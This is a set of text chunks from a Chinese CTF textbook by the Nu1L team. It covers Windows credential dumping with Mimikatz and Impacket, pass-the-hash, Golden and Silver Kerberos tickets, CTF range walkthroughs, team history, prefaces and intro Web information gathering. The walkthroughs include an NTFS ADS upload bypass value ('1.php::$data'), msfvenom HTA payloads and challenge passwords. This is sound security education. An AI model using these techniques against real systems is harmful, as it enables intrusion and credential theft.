    {"text": "12.4.2 获取Hash身份凭证 12.4.2.1 通过SAM数据库获取本地用户Hash凭证 SAM（Security Accounts Manager）数据库是Windows系统保存本地用户身份凭证的地方，而保存在SAM数据库的身份凭证格式为NTLM Hash。"},
    {"text": "（1） 在目标机器上获取NTLM Hash Mimikatz命令如下： 图12-4-12 图12-4-13 （2） 在目标机器上导出SAM数据库，并在本地进行解析 以下两种导出方式都需要以管理员权限运行： ① 使用CMD命令： ② 使用Powershell： Powershell地址如下：https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1。 命令如下： 然后本地从SAM中提取NTLM Hash的操作有以下两种方式。"},
    {"text": "① 使用Mimikatz，命令如下： ② 使用Impacket，命令如下： 12.4.2.2 通过域控制器的NTDS.dit文件 如同SAM对于本机的作用，NTDS.dit是保存域用户身份凭证的数据库，存放在域控制器上。"},
    {"text": "这些文件无法直接复制，我们可以使用VSS卷影复制，脚本地址如下： https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1 。"},
    {"text": "图12-4-15 impacket中的secretsdump.py脚本实现了使用system中的boot key对ntds.dit解密提取密码Hash的功能，命令如下（结果见图12-4-16）： 图12-4-16 （2） 用mimikatz Mimikatz通过dcsync特性获取本机（域控）的ntds.dit数据库存储的Hash。"},
    {"text": "① LM Hash：只用于老版本Windows系统登录认证，如Windows XP/2003以下系统，微软为了保证系统兼容性，在Windows Vista后的操作系统中依然保留，但LM认证默认禁用，LM认证协议基本淘汰，而采用NTLM来进行认证。 ② NTLM Hash：主要用于Windows Vista及之后的系统，NTLM是一种网络认证协议，认证过程需要NTLM Hash作为凭证参与认证。 在本地认证的流程中是把用户输入的明文密码加密转化为NTLM Hash与系统SAM文件中的NTLM Hash进行比较。"},
    {"text": "注意，微软在2014年5月13日发布了针对Hash传递的补丁 KB2871997 ，更新用于禁止本地管理员账户用于远程连接，这样本地管理员无法以本地管理员的权限在远程主机上执行wmi、psexec等。"},
    {"text": "然而在实际的测试中发现常规的Hash传递虽已无法成功，但默认administrator（sid 500）账号除外，即使改名，这个账号仍然可以进行Hash传递攻击。"},
    {"text": "见图12-5-2，在测试机上使用cobaltstrike上线，然后执行如下命令： 图12-5-2 然后测试是否能访问域控制器，这里的scanf账号为域管理员，见图12-5-3发现已经可以成功访问。"},
    {"text": "❖ TGS（Ticket Granting Server）：票据授权服务。 ❖ TGT（Ticket Granting Ticket）：由身份认证授予的票据，用于身份认证，存储在内存中，默认有效期限为10小时。"},
    {"text": "一般，域控制器就是KDC，而KDC使用的密钥是krbtgt账号的NTLM Hash，同时krbtgt账号注册了一个 SPN （ Service Principal Name，服务器主体名称 ）。"},
    {"text": "SPN是服务使用Kerberos身份认证的网络中唯一的标示符，由服务类、主机名和端口组成。 在域中，所有机器名都默认注册成SPN，当访问一个SPN时，会自动使用Kerberos认证，这也是在域中使用域管理员访问其他机器不需要输入账号密码的原因。"},
    {"text": "（3） TGS-REQ：用户使用返回的TGT票据向KDC发起特定服务的请求。 （4） TGS-REP：使用KDC密钥对请求进行解密，如果结果正确就使用目标服务的账户Hash对TGS票据进行加密并返回（无权限验证，只要TGT票据正确就返回TGS票据）。 （5） AP-REQ：用户向服务发送TGS票据。"},
    {"text": "12.5.2.2 金票据 每个用户的票据都是由krbtgt的NTLM Hash加密生成的，如果我们拿到了krbtgt的Hash，就可以伪造任意用户的票据。 当获得域控权限时，就可以用krbtgt的Hash和mimikatz生成任意用户的票据，这个票据被称为 金票据 （ Golden Ticket ）。"},
    {"text": "12.5.2.3 银票据 银票据 （ Silver Tickets ）是通过伪造TGS Ticket来访问服务，但是只能访问特定服务器上的任意服务，通信流程见图12-5-8，其优点在于只有用户和服务通信没有和域控制器（KDC）通信，域控制器上无日志可作为权限维持的后门使用。 金票据与银票据的对比如下： 图12-5-8 也就是说，只要手里有了银票据，就可以跳过KDC认证，直接去访问指定的服务。 银票据访问的服务列表如下： 这里以域控制器为例，假设已经获取到域控制器的权限，后期权限丢失又刚好能与域控制器通信，需要访问域控上的CIFS服务（用于Windows主机间的文件共享）来重新获取权限，而生成银票据需要获得以下信息:/domain，/sid，/target（目标服务器的域名全称，此处为域控的全称），/service（目标服务器上需要伪造的服务，此处为CIFS），/rc4（计算机账户的NTLM Hash，域控主机上的计算机用户），/user（要伪造的用户名，可指定任意用户）。"},
    {"text": "还可以通过银票据访问域控上的LDAP服务得到krbtgt hash生成金票据，只需要把/service的名称改为LDAP，生成并导入票据见图12-5-12。 图12-5-9 图12-5-10 图12-5-11 图12-5-12 读者可以自行测试（清除之前生成的CIFS服务票据，再生成LDAP服务票据），试试此时能否访问域控制器的文件共享服务。"},
    {"text": "12.6 靶场渗透案例 在CTF中，渗透题目往往环境较为复杂，但是由于成本和防止出现非预期解的出现，目前环境一般是多层网络嵌套。 CTF的渗透题与真实渗透存在最明显的区别就是，在CTF中一定是有解的，并且解题的过程中每个点的信息都很关键，包括邮箱、链接、网站的文章等。"},
    {"text": "12.6.1 第13届CUlT校赛渗透题目 题目描述： 三叶草影视集团最近准备向电影圈进军，设计网络架构到安全防护措施方案，忙忙碌碌的准备了两个月，今天终于要上线啦！"},
    {"text": "可知邮箱为vampair＠rootk.pw，注册人为Zhou Long Pi。 通过子域名爆破，可以了解到还存在一个mail.rootk.pw邮箱系统，再根据之前whois信息中的vampair用户名，放入社工库查询，可以得到一些密码信息，见图12-6-2。"},
    {"text": "当前用户权限显示： 利用load_file读取文件，发现有FILE权限： 通过into outfile发现也能导出文件： 尝试进行导出UDF来拿到一个shell： 发现插件路径为： 由于UDF文件过大，一般是将其内容Hex编码，分段插入某个字段，最后连接字符串导出到SO文件中，但是经过测试发现，insert/update/delete都被拦截，见图12-6-5。"},
    {"text": "进行信息收集，发现admin_log-manage的脚本： 中包含了一些信息： DNS的后台账户密码为： 在mail.rootk.pw上登录it_manager＠rootk.pw账号，根据拓扑图（见图12-6-6）可知网络存在两个段：DMZ（9段）和服务段（10段）。 图12-6-6 然后通过上面的密码进入DNS管理平台，发现是能控制后台域名admin_log.rootk.pw解析的，见图12-6-7。 将解析地址改为外网IP，做一个转发再到这个原来服务器的IP，这样就能进行钓鱼。"},
    {"text": "图12-6-7 利用EarthWorm进行端口转发： 使用tcpdump获取所有流量： 最终可以在流量中看到登录 http://admin_log.rootk.pw 系统的信息，其中账号密码为sycMovieAdmin/H7e27PQaHQ8Uefgj，见图12-6-8。"},
    {"text": "然后发现当前Windows有人远程连接到10.10.9.230，并且将他的磁盘映射到了230，通过mimikatz模拟用户去执行命令，最终可以获取到映射磁盘的内容，从而拿到最后一个flag，见图12-6-11。"},
    {"text": "图12-6-12 1．wordpress 192.168.1.2打开是一个wordpress应用，先使用wpscan对它进行插件扫描、账号密码爆破，发现后台的账号密码为admin/admin，也通过猜解测试到这台计算机的SSH的账号密码为root/admin，这样便拿到第一个flag，见图12-6-13。"},
    {"text": "（2） 利用msfvenom生成一个HTA恶意文件，可以利用它进行上线，结合前面的端口转发，当受害者触发恶意文件时，先连接192.168.1.2的13339端口，再通过192.168.1.2的端口转发，会将流量转发到攻击者的13338端口。"},
    {"text": "最终连接192.168.1.2:10080，即可完成代理。 对内网的机器进行渗透，发现192.168.2.104开放了端口80、8080，其中8080为Tomcat，默认账号密码tomcat/tomcat即可进入。"},
    {"text": "图12-6-18 在192.168.2.104上进行信息收集，在 /var/www/html/inc/config.php 文件中发现MySQL连接信息： 查阅数据库后，发现内网某台计算机的密码为admin＠test.COM，见图12-6-19。"},
    {"text": "通过 net user 命令可以看到PC用户只是一个普通域用户，见图12-6-24。 图12-6-23 图12-6-24 通过net view在AD域下找到一些计算机，由于remark标注较为明显，可以找到域控是 \\\\DC ，见图12-6-25。"},
    {"text": "图12-6-27 12.6.3 PWNHUB深入敌后 题目描述：http://54.223.229.139/，禁止转发入口IP机器的RDP服务端口，禁止修改任何服务器密码，禁止修改删除服务器文件；"},
    {"text": "1．getshell 首先通过目录扫描发现file目录下存在.hg目录，利用工具 dvcs-ripper 下载相应源码： 发现存在register.php，其中有一个注册用户的代码： dkjsfh98*（O*（vvv ，注册后会跳转到上传地方。 文件上传的代码如下： 可以看到获取文件后缀的主要代码如下： 然后对后缀进行黑名单限制，主要限制了.php、.asp等常见后缀，但是在Windows下可以使用ADS流进行绕过，如上传的文件为1.php：：$data时，最终获取后缀便是.php：：$data，从而绕过限制，然后得到第一个webshel。 2．Windows信息收集 获得webshell后提权，再利用mimikatz抓取系统的明文密码为： 233valopwnhubAdmin ，之后开始对其他方面信息进行收集。"},
    {"text": "图12-6-28 从时间上可以推断2017-1-11开始部署题目，再使用了GPP的powershell脚本、3389爆破工具、iepv.zip（读取IE浏览器密码）工具，应该是出题人为了测试题目而做的一些准备。"},
    {"text": "首先使用 WebBrowserPassView （ http://www.nirsoft.net/utils/web_browser_password.htm ）对浏览历史进行记录，具体分析见图12-6-29。 图12-6-29 发现了 http://www.nirsoft.net/utils/internet_explorer_password.html 的访问，也就是查看浏览器保存的密码，因为搭建环境问题，这并没有获取到密码。"},
    {"text": "4．获得flag 通过端口扫描172.31.13.133（见图12-6-31），发现开启了3389端口，开放了135、139、445端口，基本可以确认是一台Windows服务器。"},
    {"text": "根据之前IE收集的密码为abc＠elk，管理员为了方便记忆，应该只是将其中的大小写进行转换，如ABC＠elk，所以可以通过hydra进行爆破，得到密码为abc＠ELK，见图12-6-32。"},
    {"text": "CTF之团队建设 第13章 我们的战队 几年前，我（Venenof7，下同）查找网络安全相关词语时，在百度百科看到“NULL”这个英文单词，意思是“零值的、空的”，于是自然地想到在这个“0”和“1”构成的计算机世界里经常会遇到NULL的场景。"},
    {"text": "从“0”到“1”，从“1”到“∞”，这便是“Nu1L”的含义，更是我们战队始终如一的追求。 Nu1L战队最开始只有4个人，组队的过程是偶然，也是命运的必然。"},
    {"text": "13.1 无中生有，有生无穷 在CTF世界中，很少有人能够做到像美国神奇小子Geohot和刘大爷Riatre一样，是一个全栈选手，能够以一人之力对抗一个战队。"},
    {"text": "2017年年末，我们的部分队员因为工作或者学业的原因不能再以Nu1L的身份参与比赛，战队如何才能保证持续的战斗力成为了我们必须思考的问题。"},
    {"text": "于是我们一方面按照之前的模式继续扩展战队，如 acd 和 homura 是Wxy191推荐的，另一方面上线了Nu1L战队的官网https://nu1l.com，让有意入队的朋友可以在官网发送自己的简历加入我们。"},
    {"text": "例如，在2019年Xparty线下赛中，因为是靶场渗透没有二进制相关题目，所以我们派出了3位渗透选手和1位懂端口转发的RE选手，正是这种合理的人员搭配，让我们在比赛中获得了第一名。"},
    {"text": "2．如何提高比赛效率 在我们最开始的比赛过程中，战队内部的各方向的做题人员互相之间没有沟通，导致多人同时在解一个题目却互相不知道。"},
    {"text": "例如，最尴尬的情况： 这就耗费了相当大的人员精力，于是经过不断思考和借鉴学习，推荐 notion （ https://www.notion.so/ ）平台，前端UI和体验性极好。"},
    {"text": "3．问题反思 在2019年国内的一场赛事中，我们的队员因为不小心下错了队伍附件，如附件名称是题目名称_随机数.zip，而不同队伍的附件只有随机数不同且平台没有鉴权，在本来能一血的情况下，我们提交了错误附件的flag，导致被禁赛。"},
    {"text": "赛后我们进行了内部讨论和反思，于是现在我们在比赛过程中，多数情况下都是共用一个账号，并且由一个人专门将题目附件确认好放到notion中，这样就避免了上述问题的发生。"},
    {"text": "这里想说的是，在比赛中遇到一些突发情况时，一定要遵守比赛规则、稳定情绪，毕竟主办方举办赛事也不易，是自己的责任承担就好，比赛结束后一定要反思总结。"},
    {"text": "（1）宣传因素 举办一场比赛也是对一个战队的最好宣传方式，就像成信三叶草举办的“极客大挑战”，除了吸纳本校新的成员，也是对自己战队的一种良好的宣传方式。"},
    {"text": "（2）情结因素 其实作为一个CTF战队，除了打比赛，从参赛选手到出题人，办一场属于自己的CTF比赛是非常有意义的。 （3）技术因素 作为一个顶尖的CTF战队，内部成员肯定会有一些好玩的技术点，本着分享的原则，于是促成了将技术点转换为题目的CTF，本质意义也是希望更多的人从CTF比赛中能够学到东西 当然，受到全球CTFer的好评才是最开心的事情，如N1CTF2019获得了CTFTIME的权重值满分。"},
    {"text": "2．“巅峰极客”城市靶场场景 在2019年，我们有幸与春秋GAME实验室共同负责“巅峰极客”线下赛城市靶场场景，角色也从2018年的参赛选手变成了出题方，为了让“广诚市”可玩性更高，我们也根据春秋GAME要求的主题进行设计，融入了相当多的实际案例，具体可以扫描二维码阅读这篇文章。"},
    {"text": "13.3.2 空指针社区 2019年，我们创立了“空指针”高质量挑战赛社区（ https://www.npointer.cn/ ），旨在为CTFer创造一个好玩有趣的高质量题目学习分享平台。"},
    {"text": "此后，他自主学习Web安全方面的入门教程，利用虚拟机搭建环境，进行了漏洞的简单复现……由于具有一定的算法基础，他也开始学习使用OllyDbg和IDA分析一些简单Crackme。"},
    {"text": "相比于Nu1L战队里很多大学前就有多年编程经验，中学就开始参加全国信息学奥林匹克联赛的大佬，homura只是从小对计算机感兴趣，略微懂一点C/C++而已，可以说是个外行。"},
    {"text": "“父母之爱子，则为之计深远”，homura父母从现实的角度考量，觉得学医比学软件好，会是一份安稳的工作，于是极力劝说homura报考东南大学医学院。"},
    {"text": "” 13.5 战队队长的话 一个团队必须有一个管理者，这个管理者不一定是技术能力最强的，但是这个管理者一定要有综合运维的能力，一定要时刻想着如何给战队的队员创造最省心的比赛环境，谋划最优的福利。"},
    {"text": "在我眼里，“多个一”到整体与“多个多”到整体完全不一样，前者是多个个体，后者是多个圈子，所以联合战队并不一定非要人多，只要整齐划一就好。"},
    {"text": "❖ 为队友着想，不喜欢的比赛不打，不能参加的不强求，不恰当的安全培训不接，每个人都有自己的生活，比赛只是一种提升技术的途径，只是一个爱好而已。"},
    {"text": "二是线下赛的大额奖金一部分，如DEFCON China BCTF 2018中，我们从30万元的奖金（税后24万元）中拿出4万元，作为队费和举办N1CTF2019的比赛所需。"},
    {"text": "小结 到这里，本书的内容就告一段落了，正如开头所说，这是我们Nu1L第一次写书，所以其中难免存在错误，也希望各位读者将问题以及建议发送邮件到 book＠nu1l.com ，日后会在重印时进行更新。"},
    {"text": "在参加很多场次CTF后，在我眼里，CTF的意义有如下： ① 入门网络安全的最快途径，没有之一。 很多实战派的人会说CTF比赛就是脑洞，与实战完全不一致，但是CTF是入门网络安全的最快途径，没有之一。"},
    {"text": "近几年，CTF竞赛已经获得各层面的认可，有的学校已经将CTF竞赛成绩纳入保研的认证范围，有的安全公司招人也会将CTF比赛成绩作为加分项之一，所以CTF打得好，除了能赚生活费提升自身实力，更多的可能对以后的发展有帮助。"},
    {"text": "CTF的技术面其实很广，有些偏门的技术面可能在现实情况并不会遇到，所以这时就会提高自己解决问题的能力，通过不断测试和翻阅相关文档来解决题目。"},
    {"text": "当然，其实现在的CTF圈子，环境越来越浮躁，但是希望那些真正热爱CTF比赛的参赛者坚持下去，摆正心态，全力以赴，玩得开心就好。 CTF应该是什么样的 近几年，国内CTF一直处于井喷期，有的比赛被称赞，有的比赛被贬低，可能是参赛选手的问题，也可能是赛制的问题，也可能是出题人的问题，也可能是主办方的问题。 而CTF现阶段终究是一个网络安全赛事，所以最主要的目的是培养发现网络安全人才，能够让CTFer有所期望，能够让CTFer学到东西。 目前所有比赛的线上模式都差不多，都是解题模式，那么CTFer期望的CTF其实就是题目质量过关，能够让参赛选手从中学到新鲜技术，能够运用到实战中。 例如，RWCTF、0CTF等都是优秀赛事，其余高质量比赛可以多关注国外CTFTIME或者国内CTFHUB平台。 线下CTF目前有很多分类，AWD、靶场渗透、RHG机器人等，这里笔者结合自身参赛情况，说一下主流的两种模式：AWD和靶场渗透的思考。"},
    {"text": "大部分参加过线下AWD的参赛者都会遇到一个情况：“PWN题目数量远超Web题目数量”，这样导致Web选手参赛体验感极差，比赛成绩主要由PWN来决定。 所以，AWD比赛不如与靶场渗透相结合，如将二进制文件藏在Web题目中，参赛者需要黑盒，拿到Web相关权限，才能进行PWN题目的攻防。"},
    {"text": "同时相信读者中肯定有比赛出题人员，我分享PWNHUB平台中火日攻天写的一篇writeup，因为篇幅略长，读者可以通过在Nu1L Team公众号回复“火日攻天”来获取，推荐读者可以仔细阅读下，相信会从中有所收获！"},
    {"text": "对于Nu1L战队，我的了解主要来自“强网杯”全国网络安全挑战赛和“强网”拟态防御国际精英邀请赛，在这两个国内很优秀的竞赛平台上，他们都取得了很好的成绩，也为拟态防御白盒测试做了很多工作。"},
    {"text": "希望他们今后继续努力，争取为我国网络空间安全技术创新做贡献； 也希望这本书能为更多的年轻人学习、掌握网络空间安全知识与实践技能提供帮助，激发前行的动力。"},
    {"text": "但是，我们也看到了诸多问题，比如：竞赛质量良莠不齐，竞赛程式化、商业化、娱乐化日趋严重，职业选手也就是“赛棍”混迹其中，竞赛和人才培养、产业发展相脱节，等等。 面对这些问题，我们既需要对网络安全竞赛进行规范，更需要推动竞赛高质量发展，让竞赛回归到服务人才培养、服务产业进步、服务技术创新的初心和本源上。 网络安全竞赛高质量发展，不是看规模有多大，不是看指导单位的层级有多高，更不是看现场有多么酷炫，而是要看究竟解决了或者帮助解决了什么实际问题，看实实在在取得了什么效益，看对网络空间安全发展有什么实际推动作用。"},
    {"text": "当前，我国网络安全人才培养还处于一个逐步成熟的发展阶段，其中最大的一个问题是课程体系和实践教学体系还未完全形成。 网络安全竞赛对于助推实践教学体系形成，具有一定的意义，这个过程也是高质量发展的重要基础。"},
    {"text": "需要汇集更多的智慧和力量，把竞赛中的技巧、经验上升到教育学的层面，并结合理论知识架构，升华为教学体系、衍化为实验项目、固化为实践平台。"},
    {"text": "网络安全竞赛，就是要架起人才培养和产业发展之间的一座桥梁，为产业发展服务，这样才会有高质量发展的动力。 网络安全竞赛需要打破当下“大而全”“大呼隆”的局面，要进行“小而精”的变革，围绕专门领域、细分产业、真实场景设置“赛场”，不断强化指向性、针对性，以点带面，汇聚更多的企业、供应商参与其中，增加产教融合的黏性。"},
    {"text": "希望Nu1L战队和更多CTFer走到一起，不但做网络安全竞赛的竞技者，更要努力做网络安全竞赛高质量发展的推动者，携起手来为网络强国建设添砖加瓦。 战略支援部队信息工程大学\n序——安全竞赛的魅力与价值 作为从事网络安全研究和教学多年的教师，也作为中国CTF竞赛早期的参与者和组织者，我很荣幸接受Nu1L战队队长付浩的邀请，为这本难得的CTF竞赛参考书撰写序。"},
    {"text": "CTF竞赛于20世纪90年代起源于美国，如今风靡全球，成为全世界网络安全爱好者学习和训练的重要活动。 CTF竞赛覆盖网络安全、系统安全和密码学等领域，涉及协议分析、软件逆向、漏洞挖掘与利用、密码分析知识点。 特别是攻防模式的CTF竞赛给参赛者一种类似实战的体验，参赛者要发现并利用对手的安全漏洞，同时防范对手的攻击，对自己的知识和技能是全面锻炼。 同时，CTF竞赛对学习网络空间安全学科的学生或技术人员是一种非常好的学习和训练方式。 CTF竞赛以其独特的魅力吸引了一批批安全从业者自发地投身其中。"},
    {"text": "我和我的学生在十多年前开始涉足世界CTF竞赛，以清华大学网络与信息安全实验室（NISL）为基地，组建了中国最早的CTF战队之一——蓝莲花（Blue-Lotus），后来有多所高校的骨干成员加入，曾经多次入围DEF CON等国际著名赛事的决赛，并与0ops战队一起取得了DEFCON第二名的成绩。 后来，蓝莲花许多队员在各自的高校成立了独立的战队，他们成为后来中国风起云涌的CTF战队的星星之火。 如今，早期的蓝莲花队员和很多大学的CTF战队核心成员已成长为网络安全领域的精英，在各行各业中发挥了中流砥柱的作用。 正是意识到CTF在实战性安全人才培养中的重要性，我和同事诸葛建伟及蓝莲花战队的队员们从2014年开始组织了国内一系列的CTF竞赛和后来的全国CTF联赛XCTF，这些竞赛为后来中国如火如荼的CTF竞赛培养了“群众”基础。 近年来的“网鼎杯”“护网杯”等国家级安全赛事动辄上万支队伍、几万名队员参赛，银行、通信等不少行业也在组织自己行业内部的CTF竞赛，教育部的大学生信息安全竞赛也增加了CTF形式的“创新实践能力”比赛。"},
    {"text": "经历过近年来CTF浪潮各种竞赛的磨练，Nu1L战队已经成为长期活跃在CTF国内外赛场上的一只老牌劲旅，在国内外许多重要的赛事中频频取得佳绩。"},
    {"text": "除此之外，Nu1L战队还组织了N1CTF、空指针等一系列的CTF竞赛，为国内外的CTF爱好者提供了一个交流的平台，为CTF社区的发展做出了重要贡献。"},
    {"text": "本书为当前众多CTF入门的参赛者提供了一份不可多得的参考教材。 由于CTF覆盖知识点庞杂，而且近年来赛事题目越来越难，对于CTF入门的选手来说很难把握，市面上系统地介绍CTF的书目前并不多见。"},
    {"text": "本书的内容不仅覆盖了传统CTF线上、线下赛常见的知识领域，如Web攻防、逆向工程、漏洞利用、密码分析等，还增加了AWD攻防赛、区块链等新的内容。"},
    {"text": "特别是本书最后加入了Nu1L战队的成长史和Nu1L两位队员的故事，融入了付浩本人对CTF竞赛的期望和情怀，其中关于CTF联合战队管理、如何组织竞赛、如何吸收新鲜血液等内容，都是独一无二的。"},
    {"text": "而网络空间安全问题日益突出，受到了全社会的关注，也对网络空间安全人才提出了广泛而迫切的需求。 网络空间安全人才培养问题已成为当前教育界、学术界和产业界共同关注的焦点问题。"},
    {"text": "网络空间安全其本质是一种高技术对抗。 网络空间安全技术主要是解决各类信息系统和信息的安全保护问题。 而信息技术自身的快速发展，也必然带来网络空间安全技术的快速发展，其需要密码学、数学、物理、计算机、通信、网络、微电子等各种科学理论与技术支撑。 同时，安全的对抗性特点决定了其需要根据对手的最新能力、最新特点而采取有针对性的防御策略，网络空间安全也是一项具有很强实践性要求的学科。 因此，网络空间安全人才培养不仅需要重视理论与技术体系的传授，还需要重视实践能力的锻炼。"},
    {"text": "在具体的赛题设置上综合了密码学、系统安全、软件漏洞等多种理论知识，充分考虑了不同水平、不同阶段选手的关键能力评估需求； 在比赛形式上，将理论知识和实际攻防相结合，既是对理论知识掌握程度的评估，也是对动手实践能力、知识灵活应用能力的考验。"},
    {"text": "当前，参与CTF比赛几乎已成为网络空间安全本科学习的必要经历。 国内的各种CTF比赛在吸引网络空间安全人才，引导网络空间人才培养方面发挥了重要作用。"},
    {"text": "本书作者Nu1L战队是CTF赛场上的劲旅，屡次在CTF比赛中取得骄人战绩，具有丰富的CTF比赛经验和队伍建设经验。 结合其多年的比赛经验和对网络空间安全理论与技术体系的理解和认识，本书对CTF比赛的线上赛、线下赛等所涉及的密码学、软件漏洞、区块链等题型和关键知识点进行了总结，并分享了Nu1L战队的团队发展经验。 通过本书不仅可以较为系统地学习和掌握网络空间安全相关基础知识，还可以从中学习和借鉴CTF比赛团队的组建和培养经验。 希望读者能从本书中吸取宝贵经验，在未来CTF比赛中取得好成绩！ 也期待CTF比赛在国内不断进步，为我国网络空间安全人才培养做出更大的贡献！"},
    {"text": "2020年夏于北京\nCTF之线上赛 第1章 Web入门 在传统的CTF线上比赛中，Web类题目是主要的题型之一，相较于二进制、逆向等类型的题目，参赛者不需掌握系统底层知识；"},
    {"text": "本章将分别介绍CTF线上比赛中常见的各种Web漏洞，通过相关例题解析，尽可能让读者对CTF线上比赛的Web类题目有相对全面的了解。 但是Web漏洞的分类十分复杂，希望读者在阅读本书的同时在互联网上了解相关知识，这样才可以达到举一反三的目的，以便提升自身能力。 按照漏洞出现的频率、漏洞的复杂程度，我们将Web类题目分为入门、进阶、拓展三个层次进行介绍。 讲解每个层次的漏洞时，我们辅以相关例题解析，让读者更直观地了解CTF线上比赛中Web类题目不同漏洞带来的影响，由浅入深地了解Web类题目，清楚自身技能的不足，从而达到弥补的目的。 本章从“入门”层次开始，介绍Web类题目中最常见的3类漏洞，即信息搜集、SQL注入、任意文件读取漏洞。"},
    {"text": "1.1 举足轻重的信息搜集 1.1.1 信息搜集的重要性 古人云“知己知彼，百战不殆”，在现实世界和比赛中，信息搜集是前期的必备工作，也是重中之重。"},
    {"text": "在CTF线上比赛的Web类题目中，信息搜集涵盖的面非常广，有备份文件、目录信息、Banner信息等，这就需要参赛者有丰富的经验，或者利用一些脚本来帮助自己发现题目信息、挖掘题目漏洞。 本节会尽可能叙述在CTF线上比赛中Web类题目包含的信息搜集，也会推荐一些作者测试无误的开源工具软件。"},
    {"text": "因为信息搜集大部分是工具的使用（git泄露可能涉及git命令的应用），所以本章可能不会有太多的技术细节。 同时，因为信息搜集的种类比较多，本章会尽可能地涵盖，如有不足之处还望理解；"},
    {"text": "1.1.2 信息搜集的分类 前期的题目信息搜集可能对于解决CTF线上比赛的题目有着非常重要的作用，下面将从敏感目录、敏感备份文件、Banner识别三方面来讲述基础的信息搜集，以及如何在CTF线上比赛中发现解题方向。"},
    {"text": "1．git泄露 【漏洞简介】 git是一个主流的分布式版本控制系统，开发人员在开发过程中经常会遗忘.git文件夹，导致攻击者可以通过.git文件夹中的信息获取开发人员提交过的所有源码，进而可能导致服务器被攻击而沦陷。 （1）常规git泄露 常规git泄露： 即没有任何其他操作，参赛者通过运用现成的工具或自己编写的脚本即可获取网站源码或者flag。"},
    {"text": "图1-1-2 （2）git回滚 git作为一个版本控制工具，会记录每次提交（commit）的修改，所以当题目存在git泄露时，flag（敏感）文件可能在修改中被删除或被覆盖了，这时我们可以利用git的“ git reset ”命令来恢复到以前的版本。"},
    {"text": "图1-1-3 我们先利用scrabble工具获取源码，再通过“ git reset--hard HEAD^ ”命令跳到上一版本（在git中，用HEAD表示当前版本，上一个版本是HEAD^），即可获取到源码，见图1-1-4。 图1-1-4 除了使用“ git reset ”，更简单的方式是通过“ git log-stat ”命令查看每个commit修改了哪些文件，再用“ git diff HEAD commit-id ”比较在当前版本与想查看的commit之间的变化。"},
    {"text": "因此，我们要找的flag或敏感文件可能不会藏在当前分支中，这时使用“ git log ”命令只能找到在当前分支上的修改，并不能看到我们想要的信息，因此需要切换分支来找到想要的文件。"},
    {"text": "现在大多数现成的git泄露工具都不支持分支，如果需要还原其他分支的代码，往往需要手工进行文件的提取，这里以功能较强的GitHacker（ https://github.com/WangYihang/GitHacker ）工具为例。"},
    {"text": "图1-1-5 可以看到，除了master还有一个secret分支，但自动化工具只还原了master分支的信息，因此需要手动下载secret分支的head信息，保存到 .git/refs/heads/secret 中（执行命令“ wget http://127.0.0.1:8000/.git/refs/heads/secret ”）。 恢复head信息后，我们可以复用GitHacker的部分代码，以实现自动恢复分支的效果。"},
    {"text": "我们注释掉程序最后调用main的部分，修改为如下代码： 修改后重新执行“ python GitHacker.py ”命令，运行该脚本，再次进入生成的文件夹，执行“ git log--all ”或“ git branch-v ”命令，则secret分支的信息就可以恢复了，从git log中找到对应提交的hash，执行“ git diff HEAD b94c ”（ b94c 为hash的前4位）命令，即可得到flag，见图1-1-6。"},
    {"text": "图1-1-6 （4）git泄露的其他利用 除了查看源码的常见利用方式，泄露的git中也可能有其他有用的信息，如.git/config文件夹中可能含有access_token信息，从而可以访问这个用户的其他仓库。"},
    {"text": "2．SVN泄露 SVN（subversion）是源代码版本管理软件，造成SVN源代码漏洞的主要原因是管理员操作不规范将SVN隐藏文件夹暴露于外网环境，可以利用.svn/entries或wc.db文件获取服务器源码等信息。"},
    {"text": "4．总结经验 不论是.git这些隐藏文件，还是实战中的admin之类的敏感后台文件夹，其关键在于字典的强大，读者可以在某些工具的基础上进行二次开发，以满足自己需要。"},
    {"text": "例如，只要访问.git，便会返回403，此时试探着访问.git/config，如果有文件内容返回，就说明存在git泄露，反之，一般不存在。 而在SVN泄露中，一般是在entries中爬取源代码，但有时会出现entries为空的情况，这时注意wc.db文件存在与否，便可通过其中的checksum在pristine文件夹中获取源代码。"},
    {"text": "图1-1-7 2．vim备份文件 vim是目前运用得最多的Linux编辑器，当用户在编辑文件但意外退出时（如通过SSH连接到服务器时，在用vim编辑文件的过程中可能遇到因为网速不够导致的命令行卡死而意外退出的情况），会在当前目录下生成一个备份文件，文件名格式为： 该文件用来备份缓冲区中的内容即退出时的文件内容，见图1-1-8。"},
    {"text": "这里先模拟执行“ vim flag ”命令，随后直接关闭客户端，当前目录下会生成一个.flag.swp文件。 恢复SWP备份文件的办法是，先在当前目录下创建一个flag文件，再使用“ vim-r flag ”命令，即可得到意外退出时编辑的内容，见图1-1-9。"},
    {"text": "图1-1-9 3．常规文件 常规文件所依靠的无非就是字典的饱和性，不论是CTF比赛中还是现实世界中，我们都会碰到一些经典的有辨识的文件，从而让我们更好地了解网站。"},
    {"text": "4．总结经验 在CTF线上比赛的过程中，出题人往往会在线运维题目，有时会因为各种情况导致SWP备份文件的生成，所以读者在比赛过程中可以编写实时监控脚本，对题目服务进行监控。"},
    {"text": "vim在第一次意外退出时生成的备份文件为*.swp，第二次意外退出时的为*.swo，第三次退出时的为*.swn，以此类推。 vim的官方手册中还有*.un.文件名.swp类型的备份文件。"},
    {"text": "1.1.2.3 Banner识别 在CTF线上比赛中，一个网站的Banner信息（服务器对外显示的一些基础信息）对解题有着十分重要的作用，选手往往可以通过Banner信息来获得解题思路，如得知网站是用ThinkPHP的Web框架编写时，我们可以尝试ThinkPHP框架的相关历史漏洞。"},
    {"text": "2．使用已有工具 我们可以利用Wappalyzer工具（见图1-1-10），同时提供了成型的Python库，用法如下： 图1-1-10 在data目录下，apps.json文件是其规则库，读者可以根据自己需求自由添加。"},
    {"text": "3．总结经验 在进行服务器的Banner信息探测时，除了通过上述两种常见的识别方式，我们还可以尝试随意输入一些URL，有时可以通过404页面和302跳转页面发现一些信息。"},
    {"text": "❖ DedeCMS（织梦CMS，未开启会员注册）。 2．解题步骤 通过访问网站，根据观察和Wappalyzer的提示（见图1-1-11和图1-1-12），我们可以发现这是搭建在Windows上的DedeCMS，访问默认后台目录发现是404，见图1-1-13。 图1-1-11 图1-1-12 图1-1-13 这时我们可以联想到DedeCMS在Windows服务器上存在后台目录爆破漏洞（漏洞成因在这里不过多叙述，读者可以自行查阅），我们在本地运行爆破脚本，得到目录为 zggga111 ，见图1-1-14。"},
